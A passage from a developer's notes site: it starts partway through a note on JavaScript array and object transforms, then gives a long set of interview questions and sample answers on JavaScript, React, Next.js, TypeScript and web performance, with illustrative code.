That trusts orders[0] to carry every key. If the data is sparse — some field missing on some records — collect the union of keys with a Set so no column gets dropped:

const allKeys = [...new Set(orders.flatMap((order) => Object.keys(order)))]

Usually you don't want a column for every field anyway: id is internal, the column order matters, and headers need real labels rather than raw key names. Drive the columns from an explicit map instead of from the data — Object.entries keeps it in the order you wrote:

const COLUMNS = {
  customer: 'Customer',
  product: 'Product',
  category: 'Category',
  price: 'Price (£)',
}

const columns = Object.entries(COLUMNS).map(([key, header]) => ({
  accessorKey: key,
  header,
}))

The rows are often just the raw array — but only when every cell value sits at the top level. Grids address a cell by a flat key, so a nested API response has to be flattened first: lift each nested leaf up to its own property.

// API nested the customer: { customer: { name: 'Ada', tier: 'gold' }, … }
const rows = nestedOrders.map((order) => ({
  ...order,
  customer: order.customer.name,
  customerTier: order.customer.tier,
}))
// now a column with accessorKey 'customerTier' resolves to a real cell

TanStack Table will also accept a dotted accessorKey: 'customer.tier', but flattening up front keeps sorting, filtering and CSV export working without each of them needing to understand the nesting. More on the table itself in the TanStack Table note.

Putting it together

A realistic end-to-end transform: take the raw orders, drop cancelled ones, group by category, and produce a per-category summary ready to render.

const ordersByCategory = Object.groupBy(
  orders.filter((order) => order.status !== 'cancelled'),
  (order) => order.category,
)

const summary = Object.entries(ordersByCategory).map(([category, group]) => ({
  category,
  orderCount: group.length,
  revenue: group.reduce((total, order) => total + order.price, 0),
}))
// → [
//     { category: 'tech', orderCount: 3, revenue: 329 },
//     { category: 'home', orderCount: 2, revenue: 332 },
//   ]

Each step does one job: filter narrows, groupBy buckets, entries makes it iterable, map shapes each bucket, reduce totals it. That's the whole game — pick the smallest method that does each step and chain them.

Quick reference

I want to…	Reach for
Reshape every item, same length out	`map`
Keep only some items	`filter`
Collapse a list to a single value	`reduce`
Split a list into keyed buckets	`Object.groupBy` / `Map.groupBy`
Look an item up by id, repeatedly	`new Map(list.map(x => [x.id, x]))`
Get the unique values of something	`[...new Set(values)]`
Dedupe objects by a field	`[...new Map(list.map(x => [x.id, x])).values()]`
See what was added / removed	`after.difference(before)`
Merge data from two endpoints	index one side in a `Map`, `map` other
Sort without mutating	`toSorted`
Keyed object → renderable array	`Object.entries(obj).map(...)`
Array → keyed object	`Object.fromEntries(pairs)`
Transform an object's values	`entries` → `map` → `fromEntries`
Flatten one level of nesting	`flat` / `flatMap`
Build grid columns from object keys	`Object.keys(row).map(...)`

More detail on each method in Array methods and Object.groupBy. For every way to loop over arrays, objects, Maps and more, see Looping and iterating.

Technical Job Interview Questions

Zander Martineau — Wed, 30 Sep 2026 00:00:00 GMT

Use the Custom GPT that I made to prepare for technical interviews: https://chat.openai.com/g/g-lCM8cVeOj-tech-interview-coach

JavaScript questions

What is the difference between functional and object oriented programming?

Functional Programming (FP) and Object-Oriented Programming (OOP) are two fundamental paradigms in software engineering, each with its unique approach and principles:

Functional Programming

Immutability: In FP, data is immutable. Once created, objects cannot be modified. This leads to more predictable and bug-resistant code.
Pure Functions: Functions in FP are 'pure'. They don’t have side effects (like modifying global state) and given the same inputs, always produce the same outputs.
First-Class and Higher-Order Functions: Functions are treated as first-class citizens, meaning they can be assigned to variables, passed as arguments, or returned from other functions. Higher-order functions, which take functions as arguments or return them, are a key feature.
Stateless: FP emphasizes stateless design where the output of a function depends only on its input arguments and not on any external or global state.
Examples of Functional Languages: Haskell, Clojure, and parts of JavaScript, Python, etc.

Object-Oriented Programming

Encapsulation: OOP encapsulates data and functions that operate on the data within objects. This helps in bundling the data and the methods that operate on the data, and restricts access to them.
Inheritance: Objects can inherit properties and methods from other objects. This promotes code reusability.
Polymorphism: OOP allows objects to be treated as instances of their parent class rather than their actual class. This leads to flexibility in code.
Stateful: Objects in OOP typically hold state. They have attributes that are often modified by the methods of the object.
Examples of Object-Oriented Languages: Java, C++, Python, Ruby, etc.

Comparative Summary

Philosophy: FP is about transforming data in a sequence of immutable steps without side effects, while OOP is about organising code around objects and their interactions.
State Management: FP avoids state and mutable data, while OOP embraces them.
Code Reusability: In FP, reusability is achieved through functions, especially higher-order functions. In OOP, reusability is achieved through inheritance and polymorphism.
Concurrency: FP tends to be more friendly towards concurrent programming due to its emphasis on immutability.

Many modern programming languages support both paradigms, allowing developers to choose the most suitable approach for their problem at hand.

What are some javascript design patterns?

Singleton A Singleton only allows for a single instantiation, but many instances of the same object. The Singleton restricts clients from creating multiple objects, after the first object created, it will return instances of itself.
Module
Revealing module

What are promises?

The Promise object represents the eventual completion (or failure) of an asynchronous operation and its resulting value. https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise

Difference between `var`, `let` and `const`?

var statement declares a function-scoped or globally-scoped variable, optionally initialising it to a value.
let statement declares a block-scoped local variable, optionally initialising it to a value.
const are block-scoped, much like variables declared using the let keyword. The value of a constant can't be changed through reassignment, and it can't be redeclared.

function scopeTest() {
  if (true) {
    var functionScoped = 'visible outside the block'
    let blockScoped = 'only visible inside the block'
  }
  console.log(functionScoped) // 'visible outside the block'
  console.log(blockScoped) // ReferenceError: blockScoped is not defined
}

const obj = { a: 1 }
obj.a = 2 // OK — the binding is constant, not the value
obj = {} // TypeError: Assignment to constant variable

Difference between `null` and `undefined`?

undefined means a variable has been declared but has not yet been assigned a value. null is an assignment value. It can be assigned to a variable as a representation of no value https://stackoverflow.com/questions/5076944/what-is-the-difference-between-null-and-undefined-in-javascript#5076962

let a
console.log(a) // undefined — declared, never assigned

let b = null
console.log(b) // null — explicitly "no value"

console.log(typeof undefined) // 'undefined'
console.log(typeof null) // 'object' (historical bug)

console.log(null == undefined) // true  (loose equality)
console.log(null === undefined) // false (different types)

What is a closure?

A closure is the combination of a function bundled together (enclosed) with references to its surrounding state (the lexical environment). In other words, a closure gives you access to an outer function’s scope from an inner function. In JavaScript, closures are created every time a function is created, at function creation time.

A closure is the combination of a function and the lexical environment within which that function was declared.

https://developer.mozilla.org/en-US/docs/Web/JavaScript/Closures

function makeCounter() {
  let count = 0 // private state captured by the closure
  return function () {
    count += 1
    return count
  }
}

const counter = makeCounter()
counter() // 1
counter() // 2 — `count` persists between calls

What is currying?

Currying is a transformation of functions that translates a function from callable as f(a, b, c) into callable as f(a)(b)(c). Currying doesn’t call a function. It just transforms it.

function curry(f) {
  // curry(f) does the currying transform
  return function (a) {
    return function (b) {
      return f(a, b)
    }
  }
}

// usage
function sum(a, b) {
  return a + b
}

let curriedSum = curry(sum)

alert(curriedSum(1)(2)) // 3

https://javascript.info/currying-partials

What is throttling and debouncing?

Throttling and debouncing are techniques used in JavaScript to optimise and control the execution of repeated or heavy-duty functions.

Throttling limits the rate at which a function gets called. It ensures that the function is executed at most once within a specified time interval, regardless of how many times it is invoked. Throttling is often useful to prevent excessive or unnecessary function calls, such as during scroll or resize events.

Debouncing limits the frequency at which a function gets called. It postpones the execution of a function until after a certain cooldown period has elapsed since the last invocation. If the function is called again during the cooldown period, the timer resets. Debouncing is commonly used for tasks that require a delay, such as search suggestions or form input validation.

Both techniques help optimise performance and enhance user experience by preventing unnecessary or excessive function invocations.

function throttle(fn, interval) {
  let lastCall = 0
  return function (...args) {
    const now = Date.now()
    if (now - lastCall >= interval) {
      lastCall = now
      fn.apply(this, args)
    }
  }
}

const debounce = (fn, delay) => {
  let timer
  return function (...args) {
    clearTimeout(timer)
    timer = setTimeout(() => fn.apply(this, args), delay)
  }
}

// throttled: fires at most once per 200ms during a scroll
window.addEventListener('scroll', throttle(onScroll, 200))

// debounced: fires once, 300ms after the user stops typing
input.addEventListener('input', debounce(onSearch, 300))

More detail, TypeScript versions and React hooks: debounce and throttle.

What is a tuple?

A tuple is an ordered collection or array-like structure that can contain multiple elements of different types in JavaScript. Unlike regular arrays, tuples have a fixed length and their elements are typically accessed using indices.

However, it's important to note that JavaScript does not have built-in support for tuples as a distinct data type. In JavaScript, you can simulate tuples by using arrays or objects to store multiple values in a specific order.

For example, an array can be used to represent a tuple in JavaScript:

const tuple = [1, 'Hello', true]

In this example, the tuple consists of three elements: the number 1, the string 'Hello', and the boolean value true. The elements can be accessed using their respective indices:

console.log(tuple[0]) // Output: 1
console.log(tuple[1]) // Output: 'Hello'
console.log(tuple[2]) // Output: true

Although arrays can be used to represent tuples in JavaScript, they lack the strict type enforcement and fixed length characteristic of tuples in some other programming languages.

What is a `Map`?

The Map object holds key-value pairs and remembers the original insertion order of the keys. Any value (both objects and primitive values) may be used as either a key or a value. http://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map

const map = new Map()
const objKey = { id: 1 }

map.set('name', 'Zander')
map.set(objKey, 'object used as a key')

map.get('name') // 'Zander'
map.has(objKey) // true
map.size // 2

for (const [key, value] of map) {
  console.log(key, value)
}

What is a `Set`?

The Set object lets you store unique values of any type, whether primitive values or object references. A value in the Set may only occur once; it is unique in the Set's collection. http://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set

const set = new Set([1, 2, 2, 3, 3, 3])
set.size // 3 — duplicates dropped

set.add(4)
set.has(4) // true
set.delete(1)

// common use: dedupe an array
const unique = [...new Set([1, 1, 2, 3])] // [1, 2, 3]

What is a Higher order function?

A higher order function is a function that takes a function as an argument, returns a function, or both.

// takes a function as an argument
;[1, 2, 3].map((n) => n * 2) // [2, 4, 6]

// returns a function
function multiplier(factor) {
  return (n) => n * factor
}
const double = multiplier(2)
double(5) // 10

What is destructuring?

The destructuring assignment syntax is a JavaScript expression that makes it possible to unpack values from arrays, or properties from objects, into distinct variables. https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment

// object destructuring
const user = { name: 'Zander', role: 'engineer' }
const { name, role } = user

// array destructuring
const [first, second] = [1, 2]

// defaults and renaming
const { name: fullName, active = false } = user

// swap without a temp variable
let a = 1
let b = 2
;[a, b] = [b, a]

React questions

How do you like to style React components?

CSS.. with PostCSS/Sass and Tailwind

What is your preferred state management solution for React?

useState, Context, Jotai, Zustand, Recoil, Redux. Correct answer is: it depends?

Explain Suspense?

<Suspense> lets you display a fallback until its children have finished loading.

https://react.dev/reference/react/Suspense

<Suspense fallback={<Spinner />}>
  <Profile />
</Suspense>

What are ErrorBoundary's used for?

Error boundaries are React components that catch JavaScript errors anywhere in their child component tree, log those errors, and display a fallback UI instead of the component tree that crashed. https://react.dev/reference/react/Component#catching-rendering-errors-with-an-error-boundary

class ErrorBoundary extends React.Component {
  state = { hasError: false }

  static getDerivedStateFromError() {
    return { hasError: true }
  }

  componentDidCatch(error, info) {
    logError(error, info)
  }

  render() {
    if (this.state.hasError) {
      return <h1>Something went wrong.</h1>
    }
    return this.props.children
  }
}

// usage
;<ErrorBoundary>
  <App />
</ErrorBoundary>

Explain Context?

Context provides a way to pass data through the component tree without having to pass props down manually at every level. https://react.dev/learn/passing-data-deeply-with-context

const ThemeContext = createContext('light')

function App() {
  return (
    <ThemeContext.Provider value="dark">
      <Toolbar />
    </ThemeContext.Provider>
  )
}

function Toolbar() {
  const theme = useContext(ThemeContext) // 'dark' — no prop drilling
  return <button className={theme}>Click</button>
}

What is the significance of keys in React?

Keys help React identify which items have changed, are added, or are removed. https://robinpokorny.medium.com/index-as-a-key-is-an-anti-pattern-e0349aece318

// use a stable, unique id — not the array index
{
  items.map((item) => <li key={item.id}>{item.name}</li>)
}

When would you use a Class Component over a Functional Component?

Would only use a class component these days when creating a custom error boundary.

What are refs in React and why are they important?

Refs provide a way to access DOM nodes or React elements created in the render method.

Why would you need to forward ref? If an internal component used refs you might want to be able to access them

function TextInput() {
  const inputRef = useRef(null)

  const focus = () => inputRef.current.focus()

  return (
    <>
      <input ref={inputRef} />
      <button onClick={focus}>Focus the input</button>
    </>
  )
}

List ways of defining a component in React

Function components This should be the default answer for all new components. Function components are more flexible and can use hooks. Class components are more verbose and can't use hooks (not directly, anyhow). Their lifecycle methods are also less flexible. The entirety of Qualcomm.com is built with function components. Not a single class component exists anymore.
Class components Many legacy codebases still use class components, so it's still important for you to understand how they work.

What are some different types of React Component Patterns?

There are many answers to this question. It's important to have a solid grasp of React's fundamentals before delving into specific design patterns. Read more on these fundamentals here.

Compound components Think of compound components like the <select> and <option> elements in HTML.
Higher Order Components A higher-order component is a function that takes a component and returns a new component. HOCs aren't unique to React. In functional programming, a higher order function is a function that returns another function. https://reactjs.org/docs/higher-order-components.html
Render props With a render or other prop that returns a ReactNode
State initialiser Here we allow you to set the initial value (similar to defaultValue in <input />) and then a nice way to expose a reset helper function to allow users of the component to reset the component to its initial state.
Prop Collections and Getters Formik and Downshift use these
Controlled Components Inputs, Radix Dialogs/Alerts/etc - Provider

Read more about these patterns here: https://kentcdodds.com/blog/advanced-react-component-patterns

What are Portals?

Portals provide a first-class way to render children into a DOM node that exists outside the DOM hierarchy of the parent component. https://react.dev/reference/react-dom/createPortal

function Modal({ children }) {
  return createPortal(
    <div className="modal">{children}</div>,
    document.getElementById('modal-root'),
  )
}

What does it mean to destructure props?

This one is a simple answer but very telling. React is just a JavaScript library. To that end, a React component's props are very similar to a single function parameter with an initial value of { }. You should be able to explain what object destructuring is.

How Virtual DOM works? Pros and cons

This is important to understand but not critical. The react docs do a good job of explaining this.

What is React Reconciliation?

React provides a declarative API so that you don’t have to worry about exactly what changes on every update. This makes writing applications a lot easier, but it might not be obvious how this is implemented within React.

What is `e.target`?

If you're ever asked this vague of a question, you should follow up with a question of your own. In what context? I'm assuming this is referring to DOM events.
DOM events
React events

What is life cycle of a component?

Very important. If a Jr. answered this question properly and had the right attitude/fit for the team, I'd be more inclined to hire them. A correct good answer to this question would involve an overview of class component lifecycle (link below) and examples on some of their use cases. Bonus points for a comparison between function components and class components. Why lifecycle methods are useful: the developer can access class component lifecycle methods to inject custom logic at specific stages of a component's rendering process. Function components don't have these same methods (they technically still do under the hood, but it's moot). However, function components can tap into Hooks which provide similar functionality to the lifecycle methods of class components.
Class component lifecycle methods
From lifecycle methods to hooks

How does Redux work?

The way Redux works is simple. There is a central store that holds the entire state of the application. Each component can access the stored state without having to send down props from one component to another.

If you plan on working with Redux, Redux toolkit simplifies the setup and usage. I'd recommend it.

How to manage events in React?

Refer to "What is e.target?"

Difference: component and element

A React Component is a function or class that accepts an input and returns a React element. ReactDOM renders DOM elements backed by instances of their components. An element is simply an instance of a React component. The clue here is that every JSX tag gets translated to a React.createElement call.

What is React Fiber?

Don't spend a lot of time on this one: https://github.com/acdlite/react-fiber-architecture.

How child component can change state in parent component?

Callbacks, Context, etc... There are lots of ways to do this and it's important to know some of them.

Methods of debugging an app that uses framework.

This question is vague. You should understand how to debug JavaScript, and popular IDEs can provide this functionality for you. Acceptable answer: "Look at what the framework's dev community is using."

What does the deps array in useEffect() do?

Very important to know. docs

What is React?

React is a JavaScript library for building websites. React's purpose is to let you easily create a view that automatically updates itself based on your application's data. In React, you write the view once as a function of your data. This view automatically updates when the data changes.

Other useful articles:Examples of what to do: https://kentcdodds.com/blog/making-your-ui-tests-resilient-to-changehttps://qvault.io/clean-code/dry-code/ Examples of what NOT to do: https://medium.com/@joshsaintjacque/reacting-to-code-smells-bloaters-3e452d0c01bhttps://jsmanifest.com/10-things-not-to-do-when-building-react-apps/

Next.js questions

More code examples: /notes/nextjs/

What is Next.js?

A React framework. React only renders components. Next.js adds the rest: file-based routing, rendering on the server, data fetching, bundling, image and font optimisation, and API routes. In short: server-rendered React with batteries included.

What do SSR, SSG, ISR and CSR mean?

They describe when and where the HTML is made.

Acronym	Name	HTML is made…	Good for
CSR	Client-Side Rendering	in the browser, after the JS loads	dashboards behind a login
SSR	Server-Side Rendering	on the server, on every request	pages with per-user or always-fresh data
SSG	Static Site Generation	once, at build time	blogs, docs, marketing pages
ISR	Incremental Static Regeneration	at build time, then rebuilt in the background after a set time	big catalogues that change now and then

SSR, SSG and CSR are general ideas, not Next.js features. ISR is the Next.js name for "static, but refreshed". A single Next.js app can mix all four, page by page.

What is hydration?

The server sends ready-made HTML, so the user sees content fast. Then React loads in the browser and attaches event handlers to that HTML. That step is hydration. Until it finishes, the page is visible but not interactive.

A hydration mismatch happens when the first client render doesn't match the server HTML. Common causes: Date.now(), Math.random(), window checks or locale formatting in render. Fix it by moving browser-only values into useEffect.

What is the difference between the Pages Router and the App Router?

Pages Router (pages/): the original. Every component is a client component. Data is fetched with getServerSideProps, getStaticProps and getInitialProps.
App Router (app/, Next.js 13+): built on React Server Components. Nested layouts, streaming with <Suspense>, and you fetch data straight inside async components. The default for new projects.

Both can live in the same app, which makes gradual migration possible.

What are React Server Components (RSC)?

Components that run only on the server. Their code is never sent to the browser, so they can read from a database or use secrets directly, and they add nothing to the bundle. They can't use state, effects or event handlers.

Add 'use client' at the top of a file to make it a client component (the classic React component, rendered on the server first and then hydrated). Keep client components small and near the leaves of the tree.

// app/posts/page.tsx — server component (the default)
export default async function Posts() {
  const posts = await db.post.findMany()
  return <PostList posts={posts} />
}

// LikeButton.tsx — client component
'use client'

export function LikeButton() {
  const [liked, setLiked] = useState(false)
  return <button onClick={() => setLiked(!liked)}>{liked ? '♥' : '♡'}</button>
}

What does `getInitialProps` do?

The oldest data-fetching API (Pages Router). It runs on the server for the first page load, then in the browser on client-side navigation. That means the code must work in both places.

It turns off automatic static optimisation for that page, so every request is server rendered. It's legacy: use getServerSideProps or getStaticProps instead. You still see it in older codebases and in custom _app and _document files.

function Page({ stars }: { stars: number }) {
  return <p>Next.js has {stars} ⭐️</p>
}

Page.getInitialProps = async () => {
  const res = await fetch('https://api.github.com/repos/vercel/next.js')
  const repo = await res.json()
  return { stars: repo.stargazers_count }
}

export default Page

What does `getServerSideProps` do?

SSR in the Pages Router. It runs only on the server, on every request. On client-side navigation, Next.js calls it through an API request, so it never runs in the browser. You can use secrets and database calls safely.

export const getServerSideProps = (async ({ params, req }) => {
  const user = await getUser(params!.id as string, req.cookies.session)
  if (!user) return { notFound: true }
  return { props: { user } }
}) satisfies GetServerSideProps<{ user: User }>

What do `getStaticProps` and `getStaticPaths` do?

SSG in the Pages Router. getStaticProps runs at build time and the page is saved as HTML. Add revalidate to get ISR.

getStaticPaths tells Next.js which dynamic routes (/posts/[slug]) to build. fallback decides what happens with a path that wasn't built:

false — 404
true — show a loading state, build it in the background
'blocking' — server render it on the first request, then cache it

export const getStaticPaths = (async () => {
  const posts = await getPosts()
  return { paths: posts.map((p) => ({ params: { slug: p.slug } })), fallback: 'blocking' }
}) satisfies GetStaticPaths

export const getStaticProps = (async ({ params }) => {
  const post = await getPost(params!.slug as string)
  return { props: { post }, revalidate: 60 } // ISR: rebuild at most once a minute
}) satisfies GetStaticProps<{ post: Post }>

How do you fetch data in the App Router?

Make the component async and await the data. The Pages Router functions map to options:

Pages Router	App Router
`getServerSideProps`	`fetch(url, { cache: 'no-store' })`, or read `cookies()` / `headers()`
`getStaticProps`	`fetch(url, { cache: 'force-cache' })`
`getStaticProps` + `revalidate`	`fetch(url, { next: { revalidate: 60 } })` or `export const revalidate = 60`
`getStaticPaths`	`export async function generateStaticParams()`

// app/posts/[slug]/page.tsx
export async function generateStaticParams() {
  const posts = await getPosts()
  return posts.map((post) => ({ slug: post.slug }))
}

export default async function PostPage({ params }: { params: Promise<{ slug: string }> }) {
  const { slug } = await params
  const post = await fetch(`https://api.example.com/posts/${slug}`, {
    next: { revalidate: 60 },
  }).then((res) => res.json())

  return <article>{post.title}</article>
}

Since Next.js 15, fetch is not cached by default, and params, searchParams, cookies() and headers() are async.

What makes a route static or dynamic?

In the App Router, a route is static (built once) unless it uses something only known at request time. These make it dynamic (rendered per request):

cookies(), headers() or searchParams
fetch with cache: 'no-store'
export const dynamic = 'force-dynamic'

Run next build: the output shows which routes are static (○) and which are dynamic (ƒ).

What is PPR (Partial Prerendering)?

One page, both static and dynamic. The static shell (layout, nav, product details) is prerendered and sent at once. The dynamic parts (cart, personal recommendations) sit inside <Suspense> and stream in when they're ready. In recent versions this is part of Cache Components, with the 'use cache' directive marking what can be cached.

What are Server Actions?

Async functions marked 'use server' that run on the server but can be called from the client, most often from a <form action>. No API route needed. The form still works before JS loads.

// app/actions.ts
'use server'

export async function createPost(formData: FormData) {
  await db.post.create({ data: { title: String(formData.get('title')) } })
  revalidatePath('/posts')
}

<form action={createPost}>
  <input name="title" />
  <button type="submit">Create</button>
</form>

Treat them like public API endpoints: validate the input and check auth in every action.

What built-in optimisations does Next.js give you?

next/image — resizes, lazy loads and serves modern formats (WebP/AVIF), and prevents layout shift.
next/link — client-side navigation and prefetching of linked pages.
next/font — self-hosts fonts at build time, so there's no request to Google and no layout shift.
next/script — control when third-party scripts load (afterInteractive, lazyOnload).
Automatic code splitting per route.

What is middleware?

Code that runs before a request reaches a page, e.g. for redirects, rewrites, auth checks and A/B tests. It lives in middleware.ts at the project root (renamed to proxy.ts in Next.js 16). Keep it fast: it runs on every matching request.

What is the difference between the Edge and Node.js runtimes?

Node.js (default): the full Node API. Use it for most things.
Edge: a smaller, web-standard runtime that runs close to the user and starts fast. No filesystem and many npm packages won't work.

Typescript questions

More detail: type guards and narrowing and TypeScript functions.

Do you like TypeScript? If so, why? If not, why not?

What are some of your favourite features?

Type checking,

What does the `Partial` utility type do?

Make all properties in T optional

interface User {
  id: number
  name: string
}

// all properties optional — handy for update payloads
type PartialUser = Partial<User>
// { id?: number; name?: string }

function updateUser(id: number, changes: Partial<User>) {
  /* ... */
}

What does the built-in `Record` type do?

Construct a type with a set of properties K of type T

type Role = 'admin' | 'editor' | 'viewer'

const permissions: Record<Role, boolean> = {
  admin: true,
  editor: true,
  viewer: false,
}

More built-in types: /notes/typescript/#built-in-utility-types

What is a generic and how might you use one?

Used to pass a type into another type/interface. Like when you need to specify the return type of a generic function.

function identity<T>(value: T): T {
  return value
}

identity<string>('hello') // T is string
identity(42) // T inferred as number

interface Box<T> {
  contents: T
}
const stringBox: Box<string> = { contents: 'hi' }

Web performance questions

How would you use critical rendering path optimisation to improve the performance of a web page?

The critical rendering path is the sequence of steps the browser takes to convert the HTML, CSS, and JavaScript into pixels on the screen. Optimising the critical rendering path can improve the performance of a web page by reducing the time it takes for the content to be visible to the user.

Deferring the loading of non-critical JavaScript
Code-Splitting
Inlining Critical CSS

What are some common performance bottlenecks in web applications?

Slow server response time: The time it takes for the server to process a request and send back a response can be a bottleneck if the server is not optimised or is overloaded with requests.
Unoptimised database queries: Poorly written or numerous database queries can slow down the performance of a web application by causing delays in retrieving data.
Slow page load time: If a web page takes too long to load, it can lead to a poor user experience and negatively impact the performance of the web application.
Large or numerous JavaScript files: Loading and executing large or numerous JavaScript files can slow down the performance of a web application, especially on slower devices or network connections.
Unoptimised images: Large or unoptimised images can slow down the performance of a web page by taking longer to load.
Bloated and complex CSS: Web pages with complex CSS can slow down the performance of a web application, especially when the browser has to spend more time parsing and rendering the styles.
Lack of browser caching: Not utilizing browser caching can result in a slower experience for returning users as the browser will have to download resources again.

Explain how service workers can be used to improve the performance of a web page

Service workers are a type of script that can run in the background of a web page, separate from the main JavaScript thread. They are used to handle network requests, cache resources, and provide offline functionality to web pages. Service workers can be used to improve the performance of a web page in several ways:

Offline caching: Service workers can be used to cache resources, such as HTML, CSS, and JavaScript files, so that they can be accessed offline. This means that if a user visits a page again when they are offline, they will still be able to access the page's content.
Background synchronization: Service workers can be used to send data from a web page to a server even when the user is offline. This means that when the user comes back online, the data can be sent to the server and the user will not lose any data.
Push notifications: Service workers can be used to receive push notifications even when a web page is closed. This means that users can receive notifications even when they are not actively using the web page.
Performance optimisation: Service workers can be used to handle network requests, such as fetching resources or sending data to a server. By handling these requests in the background, service workers can improve the performance of a web page by reducing the load on the main JavaScript thread.

How would you use browser developer tools to analyse and improve the performance of a web page?

Browser developer tools are a powerful tool for analysing and improving the performance of a web page. Here are the steps that can be taken to use browser developer tools to analyse and improve the performance of a web page:

Open the developer tools by pressing F12 or Ctrl+Shift+I in your browser.
Once the developer tools are open, select the "Performance" tab. This will open a timeline of the browser's activity during the loading of the web page.
Click on the "Record" button to start recording the performance of the web page. Interact with the web page to simulate the actions of a user.
Once you've finished interacting with the web page, click on the "Stop" button to stop the recording. The timeline will now show a detailed breakdown of the browser's activity during the recording.
Analyse the timeline by looking for any performance bottlenecks or issues. Some common issues to look for include:
Long or blocked main thread: If the main thread is blocked for long periods of time, the browser may not be able to respond to user input or update the screen.
Long or blocked rendering: If the rendering is blocked for long periods of time, the browser may not be able to display the web page.
Long load time: If the web page takes a long time to load, the user may experience a delay before they can interact with the web page.
Once you've identified the issue, use the other tools available in the developer tools to identify the cause of the issue, such as the network tab to see the resources loaded and their size, time taken to load and other details.
Once you've identified the cause of the issue, use the optimisation techniques to improve the performance of the web page, for example, minifying and compressing resources, using browser caching, or optimising images.
Repeat steps 3-7 to see if the performance has improved after making the changes.

How would you optimise the load time of a web page?

There are many techniques that can be used to optimise the load time of a web page, some include:

Minimise the number of HTTP requests: The more resources a web page has to load, the longer it will take. Minimising the number of resources (such as images, stylesheets, and scripts) can help reduce the number of HTTP requests, and therefore speed up the load time of a web page.
Minify and compress resources: Minifying resources means removing unnecessary characters and whitespace from code, while compressing resources means reducing their file size. Both of these techniques can help reduce the size of resources and therefore speed up their download time.
Use a content delivery network (CDN): A CDN can help speed up the load time of a web page by distributing resources across multiple servers in different locations. This means that resources are loaded from a server that is geographically closer to the user, which can help reduce the download time.
Use browser caching: By utilizing browser caching, the browser will save certain resources on the user's device and not have to re-download it on subsequent visits.
Defer the loading of non-critical resources: Some resources on a web page might not be needed right away, such as analytics tracking scripts, or ads. By deferring the loading of these non-critical resources, the web page can load faster.
Optimise images: Large, unoptimised images can significantly slow down the load time of a web page. Optimising images can help reduce their file size, making them faster to download.

Explain the difference between layout, painting, and compositing in relation to web page performance

Layout, painting, and compositing are all processes that are performed by the browser when rendering a web page. These processes work together to create the final image that the user sees on their screen.

Layout: The layout process is responsible for calculating the position and size of all elements on the web page. This includes calculating the dimensions of elements, such as width, height, and position, and determining how elements are laid out on the screen.
Painting: The painting process is responsible for filling in the pixels of the elements on the screen. This includes applying colour, images, and other visual styles to elements.
Compositing: The compositing process is responsible for combining all of the elements on the screen into a single image. This includes combining elements that are layered on top of each other, such as drop-down menus or modal dialogs, and applying visual effects, such as transparency or 3D transforms.

Optimising the performance of these three processes can improve the overall performance of a web page. For example, minimising layout changes can help to reduce the number of paint operations required, and reducing the number of compositing layers can improve the performance of visual effects.

These processes can be profiled using browser developer tools such as chrome dev tools to understand where the performance bottlenecks are and optimise the page for better performance.

Explain the concept of caching and how to use it to enhance the performance of a web page.

Caching is the process of storing frequently-used data in a temporary storage area so that it can be quickly retrieved without the need to fetch it from its original source. Caching can be used to improve the performance of a web page in several ways:

Browser caching: By using HTTP headers, the browser can be instructed to cache certain resources on the client-side, such as images, CSS, and JavaScript. This means that when the user visits the page again, they do not need to download these resources again, resulting in faster page load times.
Server caching: Server-side caching can be used to store frequently requested data, such as the results of a database query, in memory. This means that the data can be quickly retrieved without the need to execute the query again, resulting in faster page load times.
CDN caching: By using a Content Delivery Network (CDN), the resources of a web page can be cached on servers located close to the user, resulting in faster page load times.

Cache-control headers: By setting cache-control headers, web developers can specify how long resources should be cached for and when they should be revalidated.

Can you explain what web workers are and give some examples of when you'd use them?

Web workers are a JavaScript feature that allows developers to run scripts in the background, separate from the main thread. This can improve the performance of a web page by allowing the main thread to continue executing other scripts and responding to user input.

One common use case for web workers is offloading heavy computations, such as image processing or data manipulation, from the main thread. By running these tasks in the background using web workers, the main thread can continue to respond to user input and maintain a smooth user experience.

Another use case is to improve the responsiveness of the user interface. For example, when validating a form, the web worker can perform the validation in the background while the main thread is free to continue handling user input. This can make the form validation process feel more responsive to the user.

In Single-page Applications (SPAs), web workers can be used to handle complex logic or data manipulation in the background while the user interacts with the page. This can improve the performance of the SPA by reducing the amount of work the main thread needs to do and allowing the application to respond more quickly to user input.

In Progressive Web Applications (PWAs), web workers can be used to handle background tasks such as caching and background synchronization while the user interacts with the page. This can improve the performance of the PWA by reducing the amount of work the main thread needs to do, and allowing the application to respond more quickly to user input.

By using web workers, developers can improve the performance of a web page by running heavy computations and tasks in the background, resulting in a smooth and responsive user experience. It's important to note that web workers are not supported in all browsers, and developers should ensure that the web application can gracefully degrade in browsers that do not support web workers.

What are some ways you may improve your website's scrolling performance?

Use requestAnimationFrame to synchronize scrolling with the browser's repaint cycle.
Debounce scroll events to reduce the number of times the event handler is called.
Use translate3d or will-change properties to promote elements to their own compositing layer, this reduces the amount of repainting required.
Use fixed position elements when possible, as they are composited separately from the rest of the page.
Use overflow: hidden or overflow: scroll on parent elements to improve performance of child elements.
Use CSS transitions and animations instead of JavaScript to animate elements during scrolling.
Use hardware accelerated transforms and animations, such as translate3d, scale, and rotate.
Use a virtual scrolling technique for large lists of items to only render the items currently visible on the viewport.

How would you measure the performance of a web page?

Use browser developer tools: Most modern web browsers come with built-in developer tools that can be used to measure the performance of a web page. These tools can provide information on page load times, resource loading times, and more. These tools can be accessed by pressing F12 or Ctrl+Shift+I and provide a set of features for web developers to inspect, debug, and optimise the web pages. Some of the common features that browser developer tools provide to measure the performance of a web page include:
- Network tab: This tab allows you to view the requests and responses made by the browser to load the web page, and their corresponding timing information like time to first byte, download time, and total time.
- Performance tab: This tab provides a timeline of the browser's activity during the loading of the web page, including metrics like time to first paint, time to first contentful paint, and time to interactive.
- Audits tab: This tab allows you to run an automated performance audit of the web page and provide recommendations to improve the performance, accessibility, best practices, and SEO of the web page.
Use web page performance testing tools: There are many online tools available that can be used to test the performance of a web page. Some examples include Google PageSpeed Insights, GTmetrix, and WebPageTest. These tools can provide detailed information on page load times, resource loading times, and more.
Use browser performance APIs: Browsers also provide performance API like Navigation Timing API and User Timing API, that can be used to get performance metrics like time to first paint, time to first contentful paint, time to first input delay etc.
